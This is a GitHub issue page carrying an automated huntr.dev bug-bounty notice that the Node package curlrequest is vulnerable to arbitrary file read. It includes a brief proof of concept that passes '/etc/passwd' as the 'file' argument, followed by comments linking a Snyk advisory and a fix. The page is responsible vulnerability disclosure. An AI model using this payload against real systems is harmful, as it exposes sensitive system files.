Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Notice & Bug Bounty - Arbitrary File Read - huntr.dev #70

Open
huntr-helper opened this issue Jun 19, 2020 · 2 comments
Open

Comments

@huntr-helper
Copy link

Overview

curlrequest is a curlrequest is a node wrapper for the command line curl(1).

Affected versions of this package are vulnerable to Arbitrary File Read. It is possible to read any file by populating the file parameter with user input.

Proof of Concept

var curl = require("curlrequest");

let userPayload = "/etc/passwd";
curl.request({ file: userPayload }, function (err, stdout, meta) {
    console.log("%s %s", meta.cmd, meta.args.join(" "));
});

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

We will submit a pull request directly to your repository with the fix as soon as possible. Want to learn more? Go to https://github.com/418sec/huntr 📚

Automatically generated by @huntr-helper...

@dbech
Copy link

dbech commented Jun 21, 2020

More info here: https://snyk.io/vuln/SNYK-JS-CURLREQUEST-568274

dbech added a commit to dbech/curlrequest that referenced this issue Jun 21, 2020
@huntr-helper
Copy link
Author

‎‍🛠️ A fix has been provided for this issue. Please reference: 418sec#4

🔥 This fix has been provided through the https://huntr.dev/ bug bounty platform.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants